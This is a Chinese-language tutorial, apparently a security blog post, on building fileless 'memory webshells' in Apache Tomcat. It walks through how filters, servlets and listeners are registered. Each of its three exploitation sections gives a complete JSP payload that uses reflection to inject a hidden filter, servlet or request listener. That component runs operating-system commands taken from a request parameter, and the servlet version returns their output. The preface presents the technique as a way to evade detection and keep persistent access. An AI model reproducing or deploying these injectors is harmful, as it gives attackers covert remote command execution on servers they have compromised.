前言
常规的木马实际写出落地后容易被检查出来,并且webshell被发现后也就导致我们的行动被发现,很容易造成木马被查杀、利用漏洞被修复,使我们的攻击变得更加艰难,所以内存马的出现与利用无疑是增强了隐蔽性,可以让我们的攻击更加稳定、持久,而从入门写到现在的一句话木马,最终也成为了后门发展的牺牲品。java内存马我觉得算是比较难的一个地方,因为需要get的新名词还是比较多,所以学习这里还是花了比较长的时间。
大的思路
主要就是在组件的加载时候插入内存马,而常听到的filter、servlet、listener这三个名词便是tomcat中处理请求时必须经过的三个点,正是因为必须经过,所以将对应的内存马插入到它们之中,伴随着tomcat的运行而存在、关闭便消失,也就达到了无落地文件内存马的效果,下面先浅浅介绍一下tomcat的结构与处理机制
参考Java安全之基于Tomcat实现内存马
Tomcat
tomcat我想不必多说,它的结构图如下
Server:可以理解为一个WEB服务器,作用是在Connector和Engine外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。
Connector:Tomcat有两个典型的Connector,一个在8080端口直接侦听来自browser的http请求,一个在8009端口侦听来自其它WebServer的请求。
接下来是4个容器组件,它们之间属于父子关系,容器从上至下依次是
Engine:最顶层容器组件,其下可以包含多个 Host。实现类为 org.apache.catalina.core.StandardEngine
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。实现类为 org.apache.catalina.core.StandardHost
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。实现类为 org.apache.catalina.core.StandardContext
Wrapper:一个 Wrapper 代表一个 Servlet。实现类为 org.apache.catalina.core.StandardWrapper
Filter内存马
filter内存马的总体思路是创建恶意filter,然后用filterDef对filter进行封装,将filterDef添加到filterDefs跟filterConfigs中,再创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中,每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
环境搭建
idea
tomcat 9.0.56
idea 创建 JavaWeb 项目
idea 配置 JavaWeb 项目的 tomcat
把tomcat下的lib全都引进来,否则断点跳不进去
实现一个filter测试类进行测试:
package com.naihe;
import javax.servlet.*;
import java.io.IOException;
public class FilertDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("初始加完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}
@Override
public void destroy() {
System.out.println("过滤结束");
}
}
配置xml:
<filter>
<filter-name>enfilter</filter-name>
<filter-class>FilertDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>enfilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
实现效果
断点分析
Filter字面意思就是过滤,这里servlet的过滤机制就是通过Filter,过滤机制有两种实现方法,一是通过注释实现,二是通过 web.xml 配置文件实现,像上面就是用xml配置指定文件实现的,但是实际使用中通过xml去配置基本不可能,但是这里先通过这个代码分析一下tomcat是如何通过web.xml生成的filter对象,整体流程借鉴一下先知大佬的图。
java Filter内存马分析
先对第二部分进行分析,在 ContextConfig#processClass
进行断点调试,这里先获取到类的所有注释,然后遍历获取注释的类型,当注释类型为 Ljavax/servlet/annotation/WebFilter
时,也就是注释实现过滤器,会调用 ContextConfig#processAnnotationWebFilter
方法
到这里得涉及到FilterDefs、FilterConfigs、FilterMaps、FilterConfigs这几个类,所以先提一下
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern,对应着web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
首先我们在filterChain
变量这里打上断点
跟进doFilter
,会发现ApplicationFilterChain
类的filters
属性中包含了filter的信息
fragment
是跟 web.xml
配置文件相关联的一个变量,这里会通过 fragment.getFilters().get
尝试获取配置文件里配置的 filter(我们的 filter 是通过注释实现的,所以这里获取不到),filterDef
则为空,isWebXMLfilterDef
会被赋值为 false,且filterDef
的 FilterName
和 FilterClass
字段都赋值为 FilterDemo
继续跟进,把 filterMap
的 FilterName
赋值为 FilterDemo
,URLPattern
赋值为从注释中获取到的值,即 /*
最后把 filterMap
和 filterDef
都加到 fragment
里面
最终会在 ContextConfig#configureContext
方法把 filterMap
和 filterDef
添加到 context
中
继续跟进 ApplicationFilterFactory#createFilterChain
方法,这里创建一个 ApplicationFilterChain
类,然后获取到前面提到的 context
变量,再通过 context 变量获取到前面设置的filterMaps
,再通过getAttribute
获取当前请求的路径等信息
接着循环遍历 filterMaps
,当 filterMaps
跟当前请求的 dispatcher
和 requestPath
相吻合则把 filterMaps
对应的 filterConfig
加入到 filterChain
中
先提一下几个Context的关系
ServletContext:
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。
ApplicationContext:
org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。
StandardContext:
Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)
这里在 StandardWrapperValve#invoke
方法中调用了 ApplicationFilterFactory.createFilterChain
方法获取到存储着相关 filterConfig
的 filterChain
变量,然后调用了 filterChain.doFilter
方法,也就是 ApplicationFilterChain#doFilter
方法
filterChain.doFilter
方法调用 internalDoFilter
方法,跟进到 internalDoFilter
方法,这个方法获取到 filters
数组里的 filterConfig
,也就是我们前面提到的 this.filters
数组,接着获取 filterConfig
对应的filter
,然后调用filter
的doFilter
方法
利用代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("注入初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}
@Override
public void destroy() {
// Filter.super.destroy();
}
};
//构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
//构造filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("successfully");
}
%>
生命周期
Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;
停止服务器时调用destroy()方法,销毁实例。
Servlet内存马
servlet内存马的思路是创建恶意Servlet后用Wrapper对其进行封装,添加封装后的恶意Wrapper到StandardContext的children当中,最后添加ServletMapping将访问的URL和Servlet进行绑定
环境搭建
在上一个环境下小改一下
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="false"
>
<!--注册Servlet-->
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>testServlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>
testServlet
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class testServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("123");
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
断点分析
继续来到 ContextConfig#processClass
方法,下断点后调试启动,同样的先获取类上的所有注释,然后获取注释类型,根据类型进入不同的方法进行处理,这里进入processAnnotationWebServlet
方法进行处理
跟进 processAnnotationWebServlet
方法,先从 web.xml 中获取 Servlet 相关的信息,因为我们是通过注释进行配置 Servlet 的,所以这里获取到的 servletDef 为空,然后把从注释获取到的信息赋值给 servletDef
继续跟进,这里获取到 Servlet 对应的路径并赋值给 urlPatterns
,把 servletDef
添加到 fragment
里面,再把 urlPattern
和 servletName
添加到 fragment
里面
跟进 addServletMapping
方法,这里是把 urlPattern
和 servletName
添加到 servletMappings HashMap
里面
跳到 ContextConfig#configureContext
方法里,获取所有前面装配进 Web.xml
的 Servlet
,然后创建一个 Wrapper
,再判断 Servlet
里对应的 loadOnStartup
( web.xml 配置 Servlet 时的一个配置)
<load-on-startup>1</load-on-startup>
判断它是否为空,不为空则把 loadOnStartup
设置进 Wrapper
里,最后设置 Wrapper.name
为 Servlet
的 name
继续跟进,最后把 wrapper
加入到 Child
中
从 webxml
中获取所有前面装配进 Webxml
的 servletMappings
跟进 addServletMappingDecoded
方法,这里最终添加到的是 StandardContext#servletMappings
属性
继续跟进到 StandardContext#loadOnStartup
方法,这里获取所有的 child
和 对应的 loadOnStartup
,当 loadOnStartup
大于等于 0 时把 wrapper
加入到 map 当中
继续跟进,把所有的 wrapper
加入到 map 中后从遍历获取 map 中的 wrapper
并调用其 load
方法
跟进 load 方法,最终进入到 loadServlet
方法,判断 instance
是否为空,不为空则直接返回 instance
,为空则实例化这个 wrapper
对应的 servletClass
在 loadOnStartup
方法中获取 StandardContext
的 child
,加载我们的恶意wrapper
利用代码
所以构造的思路是提前创建好恶意Wrapper
,获取到 StandardContext
后把 Wrapper
注入到 StandardContext
中,最后往 StandardContext
中注入 ServletMapping
即可
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% // 构造恶意的 HttpServlet,使用 POST 方式进行传递命令参数
HttpServlet servlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1){
resp.getWriter().write(new String(bytes,0,i));
resp.getWriter().write("\r\n");
}
}
}
};
%>
<% // 获取 StandardContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
<% // 构造恶意 Wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(servlet.getClass().getName());
//wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
%>
<% //往 standardContext 中注入恶意 Wrapper 以及 ServletMapping
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/hello",servlet.getClass().getName());
%>
生命周期
Servlet :Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
装入:启动服务器时加载Servlet的实例
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作由init()方法负责执行完成
调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法
销毁:停止服务器时调用destroy()方法,销毁实例
Listener内存马
Listener型webshell在三者中的优先级最高,所以危害其实是更大的,它的主要思路是创建恶意Listener,将其添加到ApplicationEventListener中去即可。
Listener主要分为以下三个大类:
ServletContext监听
Session监听
Request监听
其中前两种都不适合作为内存Webshell,因为涉及到服务器的启动跟停止,或者是Session的建立跟销毁,这里最适合作为Webshell的就是ServletRequestListener,因为每次的请求的数据都能被获取到(getServletRequest()函数就可以拿到本次请求的request对象,我们可以在此加入我们的恶意逻辑 。)
Tomcat下基于Listener的内存Webshell分析
环境搭建
修改web.xml
<listener>
<listener-class>listener</listener-class>
</listener>
编写一个Servlet,发包
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/listener")
public class Servletlistener extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("hello");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
编写一个监听器listener
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class listener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
}
}
断点分析
在起始处断点进行分析
跟进两步到StandardContext#listenerStart
方法,先获取监听器然后遍历监听器进行实例化
Listeners从 findApplicationListeners
方法返回,跟进看一下返回的是 applicationListeners
属性,其中就是我们编写的 ServletListener
遍历并实例化完监听器之后把实例化对象加入到 eventListeners
中, 然后通过 setApplicationEventListeners
方法把 eventListeners
设置到 applicationEventListenersList
中
跟进一下 setApplicationEventListeners 方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList 属性中
注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized 方法上下断点调试
跟进到 StandardContext#fireRequestInitEvent
方法,通过 getApplicationEventListeners
方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized
方法
利用代码
通过获取当前Context对象,进而反射获取ApplicationContext对象,然后通过addListener函数调用我们构造的恶意Listener,实现内存Webshell。
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
Object obj = request.getServletContext();
java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
//获取ApplicationContext
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
//获取StandardContext
ListenerDemo listenerdemo = new ListenerDemo();
//创建能够执行命令的Listener
standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
public class ListenerDemo implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
try{
String cmd = sre.getServletRequest().getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}catch (Exception e ){
//e.printStackTrace();
}
}
}
%>
生命周期
Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。
每次请求创建时调用requestInitialized()。
每次请求销毁时调用requestDestroyed()。
Java安全之基于Tomcat实现内存马
java内存马分析集合
JSP Webshell那些事 – 攻击篇(下)
Tomcat 内存马学习(一):Filter型
JAVA内存马的“一生”
参考内存马